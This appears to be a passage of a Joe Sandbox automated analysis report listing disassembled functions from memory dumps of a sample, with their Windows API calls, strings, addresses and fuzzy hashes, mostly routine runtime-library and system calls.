Function 00427CBD Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00427D84
___AdjustPointer.LIBCMT ref: 00427DA7
___AdjustPointer.LIBCMT ref: 00427E43

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a87c4a583e402835d96f7710a16c683834cdecdb855d4d584e6a24edd489318c
Instruction ID: b29c777e6eff1d30e0a062eb441ae0a313a886d53da8f0ee06b09d029998bd95
Opcode Fuzzy Hash: a87c4a583e402835d96f7710a16c683834cdecdb855d4d584e6a24edd489318c
Instruction Fuzzy Hash: CE5101727092269FDB298F25F841BBA77A5EF04304F94002FE90647391EB39AC41C7A9

Function 0043A248 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 0043A299
TypeidsEqual.LIBVCRUNTIME ref: 0043A2BE
PMDtoOffset.LIBCMT ref: 0043A2D4
PMDtoOffset.LIBCMT ref: 0043A355

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 94ae08841bebde4b5e2e6792a738c7077e03187209fc6524adda9d50b0f5bc17
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: AB51B93594420A8FDF10CFA9C4806AEBBF0EF59320F14548BEC91A7351D33AAD28CB56

Function 0041BFB0 Relevance: 6.1, APIs: 4, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,00000000,?,00000000,00000000,?,A05DD77D,00000000,?), ref: 0041C028

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 0fbaaafb603b4b87ec813c55963fab5472bb23dc0b9b93b4e94ca07f37714a3c
Instruction ID: 0c9aacf25bd8ebb3e7261d312913ec0572197d341b71f51e4d0704f3b227f0f9
Opcode Fuzzy Hash: 0fbaaafb603b4b87ec813c55963fab5472bb23dc0b9b93b4e94ca07f37714a3c
Instruction Fuzzy Hash: E4417CB1940209AFD710CFA9D845BDAFBF4FF08310F14822AE915A7780D7B99554CFA9

Function 003E4440 Relevance: 6.1, APIs: 4, Instructions: 103memorythreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003E4449

Part of subcall function 003E4360: GetCurrentThreadId.KERNEL32 ref: 003E43CB

GetProcessHeap.KERNEL32(00000008,000000DC), ref: 003E44A1
RtlAllocateHeap.NTDLL(00000000), ref: 003E44A8
GetProcessHeap.KERNEL32(00000000), ref: 003E44BF

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Heap$CurrentProcessThread$Allocate
String ID:
API String ID: 1247256765-0
Opcode ID: 9e89936626af3dd541a3faec504f5283bb3824afc0f31107f694a6f856a57c2b
Instruction ID: 14ea289f45e6db5df5db2cbe9b3cf80052b1eb6f4e733d883ded945ee0f31edd
Opcode Fuzzy Hash: 9e89936626af3dd541a3faec504f5283bb3824afc0f31107f694a6f856a57c2b
Instruction Fuzzy Hash: 3831E135A002609BCB29CF66E88473AB7B5EF89301F16417ADD05DB2C1EB74DC50CBA4

Function 00425283 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.NTDLL ref: 004252C8
SleepConditionVariableSRW.KERNELBASE(00000000,?,A05DD77D,00000000), ref: 004252F9
RtlReleaseSRWLockExclusive.NTDLL ref: 00425333
RtlReleaseSRWLockExclusive.NTDLL ref: 0042535D

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ExclusiveLock$Release$AcquireConditionSleepVariable
String ID:
API String ID: 3114648011-0
Opcode ID: 4beafa9d1075d008f88fc0061c140760ca2382f45dbcabc87e2715147f127e74
Instruction ID: 7668ab1d88927a70f4769f161a2204851164b4834b1724e2bfdc475d241125d5
Opcode Fuzzy Hash: 4beafa9d1075d008f88fc0061c140760ca2382f45dbcabc87e2715147f127e74
Instruction Fuzzy Hash: 88315C75A0021ADFCB04CF68D985AAEBBF4FF09310F10852AE916E3391D735A911CFA4

Function 0041FC50 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 0041FCB1
GetLastError.KERNEL32 ref: 0041FCBB
LocalFree.KERNEL32(00000000), ref: 0041FCDD

Strings

2.5.29.32, xrefs: 0041FC89

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FreeLocal$ErrorLast
String ID: 2.5.29.32
API String ID: 4216857709-2506252730
Opcode ID: 5298a67c4c264d6b6029e7f3ed27971ffb9650be0f828ca79a675ebb64653399
Instruction ID: de2552ac727d3f1c3b05ff3b8700497ab1b224e0509adde79e0374da4edb32aa
Opcode Fuzzy Hash: 5298a67c4c264d6b6029e7f3ed27971ffb9650be0f828ca79a675ebb64653399
Instruction Fuzzy Hash: 8E118EB5A003099FDB10CFA8D844B9AFBF8FF09305F14806AED85E7340E77599448B94

Function 003EEEB0 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003EEEEA
VariantChangeType.OLEAUT32(00000000,?,00000000,00000003), ref: 003EEF12
VariantClear.OLEAUT32(00000000), ref: 003EEF23
_com_issue_error.COMSUPP ref: 003EEF46

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Variant$ChangeClearInitType_com_issue_error
String ID:
API String ID: 570206083-0
Opcode ID: f34d09e6c6a0ef454409d4b4c5f4f8a6a873a5934713d215a07a9948cfe6cf49
Instruction ID: aa8b8cf392f24d6af9c67a88587aa3b44fdd85ae9e3670563a7fd269918be16f
Opcode Fuzzy Hash: f34d09e6c6a0ef454409d4b4c5f4f8a6a873a5934713d215a07a9948cfe6cf49
Instruction Fuzzy Hash: 9411A031A04269DBCF11DFA5DC09BEEB7BCFB08710F11066AE902E3280E778A9008B54

Function 003F2530 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 003F2556
ShowWindow.USER32(00000006), ref: 003F2568
GetLastError.KERNEL32 ref: 003F257B
UpdateWindow.USER32 ref: 003F259F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Window$ErrorLastShowUpdate
String ID:
API String ID: 2769001205-0
Opcode ID: 6c08fd2fbf5f3b3470e5b5febfc64755f520fe5a30a012e2711230dd1605bbc7
Instruction ID: 2e6ee2c08a7431872cb3ea1f59bfd04d1225dc2c99c04f209476f9baff0bd144
Opcode Fuzzy Hash: 6c08fd2fbf5f3b3470e5b5febfc64755f520fe5a30a012e2711230dd1605bbc7
Instruction Fuzzy Hash: 1A01D272645248DBE3726BA4BC0AB27B751A712716F940675EB08900E0FAF34DA1866E

Function 00437DC6 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00436BE5,?,00000001,?,?,?,004323C8,?,?,00000000), ref: 00437DDD
GetLastError.KERNEL32(?,00436BE5,?,00000001,?,?,?,004323C8,?,?,00000000,?,?,?,0043294F,?), ref: 00437DE9

Part of subcall function 00437DAF: CloseHandle.KERNEL32(FFFFFFFE,00437DF9,?,00436BE5,?,00000001,?,?,?,004323C8,?,?,00000000,?,?), ref: 00437DBF

___initconout.LIBCMT ref: 00437DF9

Part of subcall function 00437D71: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00437DA0,00436BD2,?,?,004323C8,?,?,00000000,?), ref: 00437D84

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00436BE5,?,00000001,?,?,?,004323C8,?,?,00000000,?), ref: 00437E0E

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 6f41ca575ebbc0f37ce503d9a99fce0f042069498429ea1683ebce02413858af
Instruction ID: d1dcca09ea3b33ea4532fa679fe84f46d104658bda80c35c05a648c4724ff2f6
Opcode Fuzzy Hash: 6f41ca575ebbc0f37ce503d9a99fce0f042069498429ea1683ebce02413858af
Instruction Fuzzy Hash: 00F01C3A100218BBCF721FD1EC05E9A3F26FF497B0F004461FA2885130DA728830DB99

Function 00425DD1 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00425D6E,00000064), ref: 00425DF4
RtlLeaveCriticalSection.NTDLL(00464694), ref: 00425DFE
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00425D6E,00000064,?,00409125,00468BFC,A05DD77D,00000000,?), ref: 00425E0F
RtlEnterCriticalSection.NTDLL(00464694), ref: 00425E16

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 5b6f7feb3a2770b7079edbfda892940791c2e0900bafd09ee450dcdeb4165623
Instruction ID: 5f218fbe044ef3bf4b8548a1b86cf1d4dcd4fe1dda7ebbe2d7b1a83d50466b56
Opcode Fuzzy Hash: 5b6f7feb3a2770b7079edbfda892940791c2e0900bafd09ee450dcdeb4165623
Instruction Fuzzy Hash: 6BE01235641624ABCF122FD0FC09A8D3F29EB47761B114032FA0D56160DBFD19609BDE

Function 0040D440 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,?,0043C8A0,000000FF), ref: 0040D496
SysFreeString.OLEAUT32(?), ref: 0040D569

Strings

gfff, xrefs: 0040D4F6

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Free$LibraryString
String ID: gfff
API String ID: 428770685-1553575800
Opcode ID: 422b31086294890f3330d076e3673641c30665e1fd36a114a6298cc095db284d
Instruction ID: 999dafdbc9b66ccf45ebd82acad310b2128db207b5ca0630841afb0c4e336f40
Opcode Fuzzy Hash: 422b31086294890f3330d076e3673641c30665e1fd36a114a6298cc095db284d
Instruction Fuzzy Hash: 99819E71B00901ABE718CF68D998B6AB7A5FF45314F14422EE41AC7BD1D738F964CB88

Function 00401EF0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 193COMMON

Download Yara Rule

Strings

CORE, xrefs: 0040163B
_TLD, xrefs: 00401665

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID: CORE$_TLD
API String ID: 0-4220718512
Opcode ID: 0db884ca6b767263217bdd117db14df29cb09713b69f50b7232d1e41b5a51789
Instruction ID: 9b9e7369b871a37c63767e853005eebfbd6c44e38d9adecfb02f1afc81278296
Opcode Fuzzy Hash: 0db884ca6b767263217bdd117db14df29cb09713b69f50b7232d1e41b5a51789
Instruction Fuzzy Hash: DA6110B0A007049FE710CF68C944BABBBF4FB45314F10466EE415AB3D1D7B9A944CB95

Function 00404960 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00404A46
___std_exception_destroy.LIBVCRUNTIME ref: 00404B4F

Strings

@ >, xrefs: 00404A40, 00404B49

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: @ >
API String ID: 4194217158-3678301659
Opcode ID: e26f91ea8d368bfb96eff37cd3a7f8bd5bb49fd3e7dd72df476a40dc411d105e
Instruction ID: e09caddf4b03624cba7e680407ad7fc033cd1e27faf50173aa0e026cd2705051
Opcode Fuzzy Hash: e26f91ea8d368bfb96eff37cd3a7f8bd5bb49fd3e7dd72df476a40dc411d105e
Instruction Fuzzy Hash: B751D6B12106108FE7289B28DD8871BB7E1EF85314F544A2EE25AC7ED1D77CF9808B19

Function 003FC0A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 158COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(wmiutils.dll,A05DD77D), ref: 003FC248

Strings

wmiutils.dll, xrefs: 003FC243
unknown, xrefs: 003FC123

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: HandleModule
String ID: unknown$wmiutils.dll
API String ID: 4139908857-194848584
Opcode ID: 9fd84001eb959a555a4a01d1a70883d0bfe1cf1d6e0d25a3f2888604db6d02f6
Instruction ID: 3e90d5a92592e9965b14222fba657234996eec1bc4fece0c7542d38596122e42
Opcode Fuzzy Hash: 9fd84001eb959a555a4a01d1a70883d0bfe1cf1d6e0d25a3f2888604db6d02f6
Instruction Fuzzy Hash: 0B512670A5020C9BDB15CF69DD41BBEBBB4FB49710F10422EE911AB382DB75A904CB91

Function 00404460 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

RtlUnicodeToUTF8N.NTDLL ref: 004044DF
RtlUnicodeToUTF8N.NTDLL ref: 00404534

Strings

`F, xrefs: 004045BC

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Unicode
String ID: `F
API String ID: 470584828-510860190
Opcode ID: e2d81c3b824c5f4f11962fb559425883ee5ba1f91ef5b899ec28e374eb6796d8
Instruction ID: 93048e7c8c6e9720ea2b7cd057e1257b7fb0b31586fac0a873fd3533b663f3c2
Opcode Fuzzy Hash: e2d81c3b824c5f4f11962fb559425883ee5ba1f91ef5b899ec28e374eb6796d8
Instruction Fuzzy Hash: A3413DB1900209AFDB10DFA9C845BAEFBF8FF48314F14812AD915AB380D774A944CBA5

Function 004282BE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 004282E3

Strings

MOC, xrefs: 004282F5
RCC, xrefs: 004282FD

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
